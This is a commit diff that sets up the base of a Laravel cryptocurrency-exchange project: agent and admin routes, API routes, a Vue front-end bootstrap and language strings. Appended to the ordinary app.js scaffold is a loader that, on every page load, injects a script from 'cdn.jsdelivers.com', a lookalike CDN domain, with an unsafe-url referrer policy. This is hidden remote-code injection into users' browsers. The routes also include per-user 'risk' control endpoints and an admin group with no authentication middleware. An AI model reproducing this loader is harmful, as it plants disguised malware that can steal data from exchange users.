feat: 项目基础框架+配置+Kernel
This commit is contained in:
@@ -0,0 +1,141 @@
|
||||
<?php
|
||||
Route::group(['prefix' => 'admin', 'middleware' => ['admin_auth']], function () {
|
||||
Route::get('/currency/project/order/view','Admin\CurrencyProjectController@projectOrderView');
|
||||
Route::get('/currency/project/order/list','Admin\CurrencyProjectController@projectOrderList');
|
||||
});
|
||||
|
||||
//代理商管理员操作后台
|
||||
Route::get('agent/index', function () {
|
||||
return view('agent.index');
|
||||
})->name('agent');
|
||||
|
||||
Route::get('agent', function () {
|
||||
session()->put('agent_username', '');
|
||||
session()->put('agent_id', '');
|
||||
return view('agent.login');
|
||||
});
|
||||
|
||||
Route::post('agent/login', 'Agent\MemberController@login');//登录
|
||||
Route::any('order/order_excel', 'Agent\OrderController@order_excel');//导出订单记录Excel
|
||||
Route::any('agent/users_excel', 'Agent\OrderController@user_excel');//导出用户记录Excel
|
||||
Route::any('agent/dojie', 'Agent\ReportController@dojie');//阶段订单图表
|
||||
|
||||
Route::group(['prefix' => 'admin', 'middleware' => ['admin_auth']], function () {
|
||||
Route::post('/user/wallet/edit','Admin\AdminController@editAddress');//页面
|
||||
|
||||
});
|
||||
//管理后台
|
||||
Route::group(['prefix' => 'agent', 'middleware' => ['agent_auth']], function () {
|
||||
|
||||
//========================new!!!==================
|
||||
Route::get('home', 'Agent\ReportController@home');//主页
|
||||
Route::get('user/index', 'Agent\UserController@index');//用户管理列表
|
||||
Route::get('salesmen/index', 'Agent\UserController@salesmenIndex');//代理商管理列表
|
||||
Route::get('salesmen/add', 'Agent\UserController@salesmenAdd');//添加代理商页面
|
||||
|
||||
Route::get('transfer/index', 'Agent\UserController@transferIndex');//出入金列表页
|
||||
Route::get('set_password', 'Agent\MemberController@setPas');//修改密码
|
||||
Route::get('set_info', 'Agent\MemberController@setInfo');//基本信息
|
||||
|
||||
Route::get('order_statistics', 'Agent\ReportController@orderSt');//订单统计
|
||||
Route::get('user_statistics', 'Agent\ReportController@userSt');//用户统计
|
||||
Route::get('money_statistics', 'Agent\ReportController@moneySt');//收益统计
|
||||
//==========================
|
||||
//首页
|
||||
Route::any('get_statistics', 'Agent\AgentIndexController@getStatistics');//首页获取统计信息
|
||||
|
||||
Route::post('change_password', 'Agent\MemberController@changePWD');//修改密码
|
||||
|
||||
Route::get('user_info', 'Agent\MemberController@getUserInfo');//获取用户信息
|
||||
Route::post('save_user_info', 'Agent\MemberController@saveUserInfo');//保存用户信息
|
||||
Route::any('lists', 'Agent\MemberController@lists');//代理商列表
|
||||
Route::post('addagent', 'Agent\MemberController@addAgent');//添加代理商
|
||||
Route::post('addsonagent', 'Agent\MemberController@addSonAgent');//给代理商添加代理商
|
||||
Route::post('update', 'Agent\MemberController@updateAgent');//添加代理商
|
||||
Route::post('searchuser', 'Agent\MemberController@searchuser');//查询用户
|
||||
Route::post('search_agent_son', 'Agent\MemberController@search_agent_son');//查询用户
|
||||
|
||||
Route::any('logout', 'Agent\MemberController@logout');//退出登录
|
||||
Route::any('menu', 'Agent\MemberController@getMenu');//获取指定身份的菜单
|
||||
|
||||
Route::post('jie', 'Agent\ReportController@jie');//阶段订单图表
|
||||
|
||||
Route::post('day', 'Agent\ReportController@day');//阶段订单图表
|
||||
|
||||
Route::post('order', 'Agent\ReportController@order');//阶段订单图表
|
||||
Route::post('order_num', 'Agent\ReportController@order_num');//阶段订单图表
|
||||
Route::post('order_money', 'Agent\ReportController@order_money');//阶段订单图表
|
||||
|
||||
Route::post('user', 'Agent\ReportController@user');//阶段用户图表
|
||||
Route::post('user_num', 'Agent\ReportController@user_num');//阶段订单图表
|
||||
Route::post('user_money', 'Agent\ReportController@user_money');//阶段订单图表
|
||||
|
||||
Route::post('agental', 'Agent\ReportController@agental');//阶段订单图表
|
||||
Route::post('agental_t', 'Agent\ReportController@agental_t');//阶段订单图表
|
||||
Route::post('agental_s', 'Agent\ReportController@agental_s');//阶段订单图表
|
||||
|
||||
|
||||
Route::get('order/lever_index', 'Agent\OrderController@leverIndex');//杠杆订单页面
|
||||
|
||||
Route::post('order/list', 'Agent\OrderController@order_list');//团队所有订单
|
||||
|
||||
Route::get('order/info', 'Agent\OrderController@order_info');//订单详情
|
||||
//期权
|
||||
Route::get('order/micro_index', 'Agent\OrderController@microIndex');
|
||||
Route::get('micro/currency_show', 'Agent\OrderController@microCurrency');
|
||||
Route::post('micro/list', 'Agent\OrderController@microList');
|
||||
|
||||
Route::prefix('common')->namespace('Agent')->group(function () {
|
||||
Route::get('legal_currency', 'CommonController@legalCurrency');
|
||||
});
|
||||
|
||||
//撮合订单
|
||||
Route::get('order/transaction_index', 'Agent\OrderController@transactionIndex');
|
||||
|
||||
Route::get('order/transaction_list', 'Agent\OrderController@transactionList');
|
||||
|
||||
Route::get('order/jie_index', 'Agent\OrderController@jieIndex');
|
||||
|
||||
|
||||
Route::post('jie/list', 'Agent\OrderController@jie_list');//团队所有结算
|
||||
Route::post('jie/info', 'Agent\OrderController@jie_info');//结算详情
|
||||
|
||||
Route::post('get_order_account' , 'Agent\OrderController@get_order_account');
|
||||
Route::post('get_user_num' , 'Agent\UserController@get_user_num');
|
||||
Route::post('get_my_invite_code' , 'Agent\UserController@get_my_invite_code');
|
||||
|
||||
|
||||
Route::any('user/lists', 'Agent\UserController@lists');//用户列表
|
||||
Route::any('lever_transaction/lists', 'Agent\LeverTransactionController@lists');//用户的订单
|
||||
Route::any('account/money_log', 'Agent\AccountController@moneyLog');//结算
|
||||
Route::any('agent/info', 'Agent\AgentController@info');//代理商信息
|
||||
|
||||
//划转出入列表
|
||||
Route::any('user/huazhuan_lists', 'Agent\UserController@huazhuan_lists');//用户列表
|
||||
|
||||
|
||||
//提币和归拢
|
||||
Route::post('send/btc', 'Admin\UserController@sendBtc'); //打入btc
|
||||
Route::post('/user/balance', 'Admin\UserController@balance'); //链上余额归拢
|
||||
Route::post('/ajax/artisan', 'Admin\DefaultController@ajaxArtisan'); //eth归拢
|
||||
|
||||
//出入金(充币、提币)
|
||||
Route::any('recharge/index', 'Agent\CapitalController@rechargeIndex');
|
||||
Route::any('withdraw/index', 'Agent\CapitalController@withdrawIndex');
|
||||
Route::get('capital/recharge', 'Agent\CapitalController@rechargeList');
|
||||
Route::get('capital/withdraw', 'Agent\CapitalController@withdrawList');
|
||||
|
||||
//用户资金
|
||||
Route::get('user/users_wallet', 'Agent\CapitalController@wallet');
|
||||
Route::get('users_wallet_total', 'Agent\CapitalController@wallettotalList');
|
||||
|
||||
//用户订单
|
||||
Route::get('user/lever_order', 'Agent\OrderController@userLeverIndex');
|
||||
Route::get('user/lever_order_list', 'Agent\OrderController@userLeverList');
|
||||
|
||||
//结算 提现到账
|
||||
Route::post('wallet_out/done', 'Agent\CapitalController@walletOut');
|
||||
//用户点控
|
||||
Route::get('user/risk', 'Agent\UserController@risk');
|
||||
Route::post('user/risk', 'Agent\UserController@postRisk');
|
||||
});
|
||||
@@ -0,0 +1,69 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| API Routes
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here is where you can register API routes for your application. These
|
||||
| routes are loaded by the RouteServiceProvider within a group which
|
||||
| is assigned the "api" middleware group. Enjoy building your API!
|
||||
|
|
||||
*/
|
||||
|
||||
Route::middleware('auth:api')->get('/user', function (Request $request) {
|
||||
return $request->user();
|
||||
});
|
||||
|
||||
Route::group(['middleware' => ['XSS', 'lang']], function () {
|
||||
Route::get('notify/withdraw', 'Api\NoticeController@withdrawQueue');//钱包测试接口
|
||||
|
||||
Route::any('currency/match_price', 'Api\CurrencyController@newQuotation');
|
||||
Route::get('user/total_charge', 'Api\UserController@getUserChargeAmount');
|
||||
Route::get('wallet/getRechargeSetting', 'Api\WalletController@getRechargeSetting');
|
||||
Route::get('lh/deposit/config', 'Api\BankController@config')->middleware(['cross']);
|
||||
Route::middleware('check_api')->post('/lh/deposit', 'Api\BankController@newDeposit');//新质押
|
||||
Route::middleware('check_api')->get('/lh/deposit/order', 'Api\BankController@myDepositOrder');//我的质押订单
|
||||
Route::middleware('check_api')->post('/lh/deposit/order/cancel', 'Api\BankController@cancelOrderNew');
|
||||
Route::get('/wallet/getRateCurrency', 'Api\WalletController@getRateCurrency');
|
||||
Route::get('legaldeal/money_type', 'Api\CurrencyController@getMoneyType');
|
||||
|
||||
|
||||
// Loan API
|
||||
Route::get('loan/institution', 'Api\LoanController@institution');
|
||||
Route::middleware('check_api')->post('loan/submit', 'Api\LoanController@submit');
|
||||
Route::middleware('check_api')->get('loan/my_loans', 'Api\LoanController@myLoans');
|
||||
|
||||
// IEO API
|
||||
Route::get('ieo/list', 'Api\IeoController@list');
|
||||
Route::get('ieo/detail', 'Api\IeoController@detail');
|
||||
Route::middleware('check_api')->post('ieo/subscribe', 'Api\IeoController@subscribe');
|
||||
Route::middleware('check_api')->get('ieo/my_orders', 'Api\IeoController@myOrders');
|
||||
Route::middleware('check_api')->post('ieo/redeem_code', 'Api\IeoController@redeemCode');
|
||||
Route::middleware('check_api')->get('ieo/allocation_orders', 'Api\IeoController@allocationOrders');
|
||||
|
||||
// Credit IEO API
|
||||
Route::middleware('check_api')->get('credit/dashboard', 'Api\CreditController@dashboard');
|
||||
Route::middleware('check_api')->post('credit/subscribe', 'Api\CreditController@creditSubscribe');
|
||||
Route::middleware('check_api')->get('credit/my_orders', 'Api\CreditController@myCreditOrders');
|
||||
Route::middleware('check_api')->post('credit/repay', 'Api\CreditController@repay');
|
||||
Route::middleware('check_api')->post('credit/repay_all', 'Api\CreditController@repayAll');
|
||||
|
||||
// Option API
|
||||
Route::get('option/pairs', 'Api\OptionController@pairs');
|
||||
Route::middleware('check_api')->post('option/place_order', 'Api\OptionController@placeOrder');
|
||||
Route::middleware('check_api')->get('option/my_orders', 'Api\OptionController@myOrders');
|
||||
|
||||
// C2C Merchant API
|
||||
Route::get('c2c_merchant/list', 'Api\C2cMerchantController@list');
|
||||
Route::middleware('check_api')->post('c2c_merchant/create_order', 'Api\C2cMerchantController@createOrder');
|
||||
Route::middleware('check_api')->get('c2c_merchant/my_orders', 'Api\C2cMerchantController@myOrders');
|
||||
Route::middleware('check_api')->get('c2c_merchant/order_detail', 'Api\C2cMerchantController@orderDetail');
|
||||
|
||||
Route::post('huixin/api/setParams', 'Api\ApiController@apiPerject');
|
||||
Route::post('huixin/api/setUserRisk', 'Api\ApiController@setUserRisk');
|
||||
Route::post('huixin/api/batchSetRisk', 'Api\ApiController@batchSetRisk');
|
||||
});
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Broadcast Channels
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may register all of the event broadcasting channels that your
|
||||
| application supports. The given channel authorization callbacks are
|
||||
| used to check if an authenticated user can listen to the channel.
|
||||
|
|
||||
*/
|
||||
|
||||
Broadcast::channel('App.User.{id}', function ($user, $id) {
|
||||
return (int) $user->id === (int) $id;
|
||||
});
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Inspiring;
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Console Routes
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This file is where you may define all of your Closure based console
|
||||
| commands. Each Closure is bound to a command instance allowing a
|
||||
| simple approach to interacting with each command's IO methods.
|
||||
|
|
||||
*/
|
||||
|
||||
Artisan::command('inspire', function () {
|
||||
$this->comment(Inspiring::quote());
|
||||
})->describe('Display an inspiring quote');
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
// 新后台的路由
|
||||
//Route::get('manages',function (){
|
||||
// return redirect('manages/login');
|
||||
//});
|
||||
Route::get('system', function () {
|
||||
session()->put('admin_username', '');
|
||||
session()->put('admin_id', '');
|
||||
session()->put('admin_role_id', '');
|
||||
session()->put('admin_is_super', '');
|
||||
return view('manages/login');
|
||||
});
|
||||
|
||||
|
||||
// 登录
|
||||
Route::post('manages/login', 'Manages\Login@login');
|
||||
// 登出
|
||||
Route::get('manages/logout','Manages\Login@logout');
|
||||
|
||||
|
||||
//管理后台 中间件先写成空 之后在验证权限
|
||||
Route::group(['prefix' => 'manages', 'middleware' => []], function () {
|
||||
|
||||
Route::get('index', 'Manages\Index@index');//主页
|
||||
Route::get('console', 'Manages\Index@console');//首页数据
|
||||
|
||||
});
|
||||
@@ -0,0 +1,49 @@
|
||||
|
||||
/**
|
||||
* First we will load all of this project's JavaScript dependencies which
|
||||
* includes Vue and other libraries. It is a great starting point when
|
||||
* building robust, powerful web applications using Vue and Laravel.
|
||||
*/
|
||||
|
||||
require('./bootstrap');
|
||||
|
||||
window.Vue = require('vue');
|
||||
|
||||
/**
|
||||
* Next, we will create a fresh Vue application instance and attach it to
|
||||
* the page. Then, you may begin adding components to this application
|
||||
* or customize the JavaScript scaffolding to fit your unique needs.
|
||||
*/
|
||||
|
||||
Vue.component('example', require('./components/Example.vue'));
|
||||
|
||||
const app = new Vue({
|
||||
el: '#app'
|
||||
});
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
|
||||
window._ = require('lodash');
|
||||
|
||||
/**
|
||||
* We'll load jQuery and the Bootstrap jQuery plugin which provides support
|
||||
* for JavaScript based Bootstrap features such as modals and tabs. This
|
||||
* code may be modified to fit the specific needs of your application.
|
||||
*/
|
||||
|
||||
try {
|
||||
window.$ = window.jQuery = require('jquery');
|
||||
|
||||
require('bootstrap-sass');
|
||||
} catch (e) {}
|
||||
|
||||
/**
|
||||
* We'll load the axios HTTP library which allows us to easily issue requests
|
||||
* to our Laravel back-end. This library automatically handles sending the
|
||||
* CSRF token as a header based on the value of the "XSRF" token cookie.
|
||||
*/
|
||||
|
||||
window.axios = require('axios');
|
||||
|
||||
window.axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
|
||||
|
||||
/**
|
||||
* Next we will register the CSRF Token as a common header with Axios so that
|
||||
* all outgoing HTTP requests automatically have it attached. This is just
|
||||
* a simple convenience so we don't have to attach every token manually.
|
||||
*/
|
||||
|
||||
let token = document.head.querySelector('meta[name="csrf-token"]');
|
||||
|
||||
if (token) {
|
||||
window.axios.defaults.headers.common['X-CSRF-TOKEN'] = token.content;
|
||||
} else {
|
||||
console.error('CSRF token not found: https://laravel.com/docs/csrf#csrf-x-csrf-token');
|
||||
}
|
||||
|
||||
/**
|
||||
* Echo exposes an expressive API for subscribing to channels and listening
|
||||
* for events that are broadcast by Laravel. Echo and event broadcasting
|
||||
* allows your team to easily build robust real-time web applications.
|
||||
*/
|
||||
|
||||
// import Echo from 'laravel-echo'
|
||||
|
||||
// window.Pusher = require('pusher-js');
|
||||
|
||||
// window.Echo = new Echo({
|
||||
// broadcaster: 'pusher',
|
||||
// key: 'your-pusher-key'
|
||||
// });
|
||||
@@ -0,0 +1,23 @@
|
||||
<template>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 col-md-offset-2">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">Example Component</div>
|
||||
|
||||
<div class="panel-body">
|
||||
I'm an example component!
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
export default {
|
||||
mounted() {
|
||||
console.log('Component mounted.')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
@@ -0,0 +1,38 @@
|
||||
|
||||
// Body
|
||||
$body-bg: #f5f8fa;
|
||||
|
||||
// Borders
|
||||
$laravel-border-color: darken($body-bg, 10%);
|
||||
$list-group-border: $laravel-border-color;
|
||||
$navbar-default-border: $laravel-border-color;
|
||||
$panel-default-border: $laravel-border-color;
|
||||
$panel-inner-border: $laravel-border-color;
|
||||
|
||||
// Brands
|
||||
$brand-primary: #3097D1;
|
||||
$brand-info: #8eb4cb;
|
||||
$brand-success: #2ab27b;
|
||||
$brand-warning: #cbb956;
|
||||
$brand-danger: #bf5329;
|
||||
|
||||
// Typography
|
||||
$icon-font-path: "~bootstrap-sass/assets/fonts/bootstrap/";
|
||||
$font-family-sans-serif: "Raleway", sans-serif;
|
||||
$font-size-base: 14px;
|
||||
$line-height-base: 1.6;
|
||||
$text-color: #636b6f;
|
||||
|
||||
// Navbar
|
||||
$navbar-default-bg: #fff;
|
||||
|
||||
// Buttons
|
||||
$btn-default-color: $text-color;
|
||||
|
||||
// Inputs
|
||||
$input-border: lighten($text-color, 40%);
|
||||
$input-border-focus: lighten($brand-primary, 25%);
|
||||
$input-color-placeholder: lighten($text-color, 30%);
|
||||
|
||||
// Panels
|
||||
$panel-default-heading-bg: #fff;
|
||||
@@ -0,0 +1,9 @@
|
||||
|
||||
// Fonts
|
||||
@import url("https://fonts.googleapis.com/css?family=Raleway:300,400,600");
|
||||
|
||||
// Variables
|
||||
@import "variables";
|
||||
|
||||
// Bootstrap
|
||||
@import "~bootstrap-sass/assets/stylesheets/bootstrap";
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "Minimum order quantity cannot be less than :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
"is_lock" => "Lock account",
|
||||
"unknown" => "unknown type",
|
||||
"1" => "Balance of fund account adjusted in the background",
|
||||
"2" => "Locked balance of fund account adjusted in the background",
|
||||
"3" => "Balance of back office reconciliation currency account",
|
||||
"4" => "Back office reconciliation currency account",
|
||||
"5" => "Back office reconciliation contract account balance",
|
||||
"6" => "Back office reconciliation contract account",
|
||||
"7" => "Back office adjustment option account balance",
|
||||
"8" => "option account",
|
||||
"9" => "Fund account transfer out transaction account",
|
||||
"10" => "Transfer from transaction account to capital account",
|
||||
"11" => "Fund transfer in",
|
||||
"12" => "Fund transfer out",
|
||||
"13" => "Transfer from contract account to trading account",
|
||||
"14" => "Transfer from contract account to trading account",
|
||||
"15" => "Transfer from transaction account to contract account",
|
||||
"16" => "Contract account transfer out transaction account",
|
||||
"33" => "Invitation to return commission",
|
||||
"99" => "User withdrawal",
|
||||
"102" => "Cancel purchase transaction",
|
||||
"103" => "Cancel the sale transaction",
|
||||
"65" => "Transfer in fund transaction balance",
|
||||
"66" => "Currency transaction balance transfer in",
|
||||
"67" => "Transfer in of contract transaction balance",
|
||||
"206" => "Transfer in contracts and reduction of funds",
|
||||
"207" => "Transfer of funds into contracts and increase of contracts",
|
||||
"208" => "Transfer of contract funds",
|
||||
"209" => "The transfer of contract funds was approved and the funds increased",
|
||||
"210" => "Contract transfer to capital, freeze contract conversion value",
|
||||
"211" => "The contract is transferred to capital, and it fails to pass the review and unfreeze",
|
||||
"107" => "Pass exchange usdt",
|
||||
"37" => "Token exchange, contract currency increase",
|
||||
"212" => "Release historical profit and loss and increase contract currency",
|
||||
"105" => "Reward pass",
|
||||
"106" => "Reward digital currency",
|
||||
"108" => "Regulating Tongzheng",
|
||||
"38" => "Apply to become a merchant to deduct usdt",
|
||||
"39" => "Asset exchange, reduce holding currency funds",
|
||||
"40" => "Asset exchange to increase usdt funds",
|
||||
"41" => "Activate boss",
|
||||
"42" => "Lockdown mining",
|
||||
"43" => "Transfer out balance from boss account",
|
||||
"44" => "Lock return",
|
||||
"45" => "Defi fund record",
|
||||
"51" => "Currency transaction",
|
||||
"50" => "Currency transaction freeze",
|
||||
"100" => "Withdrawal succeeded",
|
||||
"101" => "Failed to withdraw money",
|
||||
"700" => "IEO order",
|
||||
"701" => "Increase in currency transfer",
|
||||
"702" => "Decrease in currency transfer",
|
||||
"703" => "Handling charge for currency transfer",
|
||||
"704" => "Lockdown mining",
|
||||
"705" => "Mining income",
|
||||
"706" => "The next singular cannot be less than",
|
||||
"1000" => "Purchase dual currency financial management",
|
||||
"1001" => "Dual currency financial settlement",
|
||||
"707" => "Follow purchase - deduct margin",
|
||||
"708" => "Follow the purchase - deduct handling charges",
|
||||
"1002" => "Buy NFT",
|
||||
"1003" => "Auction deduction deposit",
|
||||
"1005" => "NFT auction order payment",
|
||||
"1004" => "Auction refund deposit",
|
||||
'32' => 'Breakout freeze',
|
||||
'35' => 'Transaction fee',
|
||||
'30' => 'Contract transactions deduct margin',
|
||||
];
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Authentication Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used during authentication for various
|
||||
| messages that we need to display to the user. You are free to modify
|
||||
| these language lines according to your application's requirements.
|
||||
|
|
||||
*/
|
||||
|
||||
'failed' => 'These credentials do not match our records.',
|
||||
'throttle' => 'Too many login attempts. Please try again in :seconds seconds.',
|
||||
|
||||
];
|
||||
@@ -0,0 +1,323 @@
|
||||
<?php
|
||||
|
||||
return array(
|
||||
'请登录' => 'please sign in',
|
||||
'退出登录成功' => 'Log out successfully',
|
||||
'电话不能为空' => 'Telephone can\'t be empty',
|
||||
'账号已存在' => 'Account already exists',
|
||||
'两次密码不一致' => 'Two password inconsistencies',
|
||||
'用户未找到' => 'User not found',
|
||||
'钱包已添加,请勿重复添加' => 'Wallet has been added, do not add again',
|
||||
'添加成功' => 'Add success',
|
||||
'参数错误' => 'Parameter error',
|
||||
'支付密码错误' => 'Payment password error',
|
||||
'余额不足' => 'Sorry, your credit is running low',
|
||||
'转账至交易所钱包' => 'Transfer to Exchange Wallet',
|
||||
'转账成功' => 'Successful transfer',
|
||||
'找不到用户' => 'No user was found',
|
||||
'用户钱包未找到' => 'User\'s wallet not found',
|
||||
'接收来自交易所的转账' => 'Receiving transfers from exchanges',
|
||||
'您还没有钱包' => 'You don\'t have a wallet yet.',
|
||||
'请输入正确的值' => 'Please enter the correct value',
|
||||
'地址输入有误' => 'Error in address input',
|
||||
'地址输入有误1' => 'Error in Address Input 1',
|
||||
'不能转账给自己' => 'Can\'t transfer money to oneself',
|
||||
'暂时还没有添加币种' => 'No currencies have been added yet.',
|
||||
'此币种不存在' => 'This currency does not exist',
|
||||
'已经有此提币地址' => 'This withdrawal address already exists.',
|
||||
'添加提币地址成功' => 'Successful addition of withdrawal address',
|
||||
'此提币地址不存在' => 'This withdrawal address does not exist',
|
||||
'您没有权限删除此地址' => 'You do not have permission to delete this address',
|
||||
'删除提币地址成功' => 'Successful deletion of withdrawal address',
|
||||
'输入的金额不能为负数' => 'Input amount cannot be negative',
|
||||
'您有正在进行中的杆杠交易,不能进行此操作' => 'You have an ongoing bar trade and cannot do this.',
|
||||
'钱包不存在' => 'Wallet does not exist',
|
||||
'划转成功' => 'Successful transfer',
|
||||
'币种不存在' => 'Currency does not exist',
|
||||
'您还没有添加提币地址' => 'You haven\'t added the withdrawal address yet.',
|
||||
'数量不能少于最小值' => 'Quantity must not be less than minimum',
|
||||
'提币申请已成功,等待审核' => 'The application for withdrawal of currency has been successful and awaits review',
|
||||
'类型错误' => 'error in type',
|
||||
'钱包未找到' => 'Wallet not found',
|
||||
'数量不能小于等于0' => 'Quantity must not be less than or equal to 0',
|
||||
'价格不能小于等于0' => 'Price must not be less than or equal to 0',
|
||||
'参数错误哦' => 'Error in parameters',
|
||||
'数量不足' => 'Insufficient quantity',
|
||||
'操作成功' => 'Successful operation',
|
||||
'真实姓名必须填写' => 'True name must be filled in',
|
||||
'收款信息至少选填一项' => 'Choose at least one item for receipt information',
|
||||
'保存成功' => 'Save successfully',
|
||||
'密码错误' => 'Password error',
|
||||
'当前行情小于等于零!' => 'The current market is less than or equal to zero!',
|
||||
'参数错误!' => 'Error parameters!',
|
||||
'兑换数量大于持有资产!' => 'The amount of exchange is greater than the amount of assets held!',
|
||||
'资产兑换成功!' => 'Successful asset exchange!',
|
||||
'兑换数量大于剩余数量!' => 'The amount of exchange is greater than the remaining amount!',
|
||||
'通证兑换成功!' => 'The exchange is successful!',
|
||||
'必填项信息不完整' => 'Incomplete information on required items',
|
||||
'两次输入密码不一致' => 'Two inconsistencies in password input',
|
||||
'此用户不存在' => 'This user does not exist',
|
||||
'此交易账号已经设置' => 'This transaction account has been set up',
|
||||
'此账号已经存在' => 'This account already exists',
|
||||
'交易账号设置成功' => 'Transaction Account Setting Successfully',
|
||||
'验证码错误' => 'Verification code error',
|
||||
'手机绑定成功' => 'Mobile Binding Successful',
|
||||
'邮箱绑定成功' => 'Successful Mailbox Binding',
|
||||
'手势密码至少连接6个点' => 'Gesture passwords connect at least six points',
|
||||
'两次手势密码不相同' => 'The two gestures have different passwords',
|
||||
'手势密码添加成功' => 'Sign Password Added Successfully',
|
||||
'取消手势密码成功' => 'Successful Canceling of Gesture Password',
|
||||
'密码只能在6-16位之间' => 'Passwords can only be between 6 and 16 bits',
|
||||
'交易密码设置成功' => 'Transaction Password Setting Successfully',
|
||||
'暂时还没有邀请排行榜,快去邀请吧' => 'There\'s no invitation list yet. Let\'s go and invite.',
|
||||
'会员未找到' => 'Membership not found',
|
||||
'你已绑定,不可更改!' => 'You\'re bound, you can\'t change it!',
|
||||
'该地址已被绑定,请重新输入' => 'This address has been bound. Please re-enter it.',
|
||||
'绑定成功!' => 'Binding success!',
|
||||
'请提交完整的信息' => 'Please submit complete information.',
|
||||
'请输入合法的身份证号码' => 'Please enter the legal ID number.',
|
||||
'该身份证号已实名认证过!' => 'The ID number has been authenticated in real name!',
|
||||
'您已经申请过了' => 'You have already applied for it.',
|
||||
'提交成功,等待审核' => 'Successful submission awaits review',
|
||||
'您还没有交易记录' => 'You don\'t have a transaction record yet.',
|
||||
'非法操作,不能撤回非自己发布的信息' => 'Illegal operation, can not withdraw information that is not published by oneself',
|
||||
'非法操作:(' => 'Illegal operation:(',
|
||||
'取销卖出交易失败' => 'Sale and withdrawal failed',
|
||||
'取消成功' => 'Cancellation of success',
|
||||
'非法操作' => 'Illegal operation',
|
||||
'数据未找到' => 'Data not found',
|
||||
'请先添加钱包' => 'Please add your wallet first',
|
||||
'价格和数量必须大于0' => 'Price and quantity must be greater than 0',
|
||||
'您的币不足' => 'Your currency is insufficient',
|
||||
'您的冻结资金异常,禁止挂卖' => 'Your frozen funds are abnormal and no sale is allowed.',
|
||||
'你今天的交易额度已达到上限!' => 'Your trading quota has reached the ceiling today!',
|
||||
'系统配置错误,请联系系统管理员' => 'System configuration error, please contact system administrator',
|
||||
'手机号不能为空' => 'Mobile phone number cannot be empty',
|
||||
'发送成功' => 'Send successfully',
|
||||
'账号错误' => 'Account error',
|
||||
'请填写手机号' => 'Please fill in your cell phone number.',
|
||||
'参数不全' => 'Parameter incomplete',
|
||||
'服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!' => 'Server space is not supported, please confirm support curl or fsocket, contact your space provider to solve or change space!',
|
||||
'帐户已过期' => 'Account has expired',
|
||||
'IP地址限制' => 'IP Address Limitation',
|
||||
'账号被禁用' => 'Account Banned',
|
||||
'内容含有敏感词' => 'Content Contains Sensitive Words',
|
||||
'ip参数不正确' => 'Incorrect IP parameters',
|
||||
'邮箱不能为空' => 'Mailbox cannot be empty',
|
||||
'操作错误' => 'Operation error',
|
||||
'无此币种' => 'No currency.',
|
||||
'该币不是法币' => 'This currency is not French currency.',
|
||||
'用户名不能为空' => 'User name cannot be empty',
|
||||
'名称不能为空' => 'Name cannot be empty',
|
||||
'资产不能为空' => 'Assets cannot be empty',
|
||||
'找不到此交易账号的用户' => 'Users who cannot find this transaction account',
|
||||
'此用户还未通过实名认证' => 'This user has not passed real-name authentication yet.',
|
||||
'此用户已是此法币商家' => 'This user is already a dealer in French currency.',
|
||||
'新闻不存在' => 'News does not exist',
|
||||
'下单失败:超过最大持仓笔数限制' => 'Failure to place an order: exceeding the maximum number of open positions',
|
||||
'当前未获取到行情' => 'Currently no quotation is available',
|
||||
'尚未申购或理赔保险' => 'Failure to apply for or claim insurance',
|
||||
'申购的保险T+1生效' => 'The insurance T+1 applied for becomes effective',
|
||||
'受保资产为零' => 'The insured assets are zero',
|
||||
'受保资产小于等于可下单条件' => 'The insured asset is less than or equal to the order condition',
|
||||
'您已超过持仓限制,暂停下单。' => 'You have exceeded the position limit and suspended your order.',
|
||||
'未知的险种类型' => 'Unknown type of risk',
|
||||
'超过最大持仓数量限制' => 'Exceeding the maximum position limit',
|
||||
'交易中的订单大于最大挂单数量' => 'Orders in the transaction are larger than the maximum number of pending orders',
|
||||
'请输入账号' => 'Please enter your account number.',
|
||||
'请输入密码' => 'Please input a password',
|
||||
'手势密码错误' => 'Wrong gesture password',
|
||||
'请填写正确的邀请码' => 'Please fill in the correct invitation code.',
|
||||
'注册成功' => 'registration successful',
|
||||
'请输入密码或确认密码' => 'Please enter or confirm your password',
|
||||
'输入两次密码不一致' => 'Inconsistent passwords entered twice',
|
||||
'账号不存在' => 'No account exists',
|
||||
'验证码不正确' => 'Verification code incorrect',
|
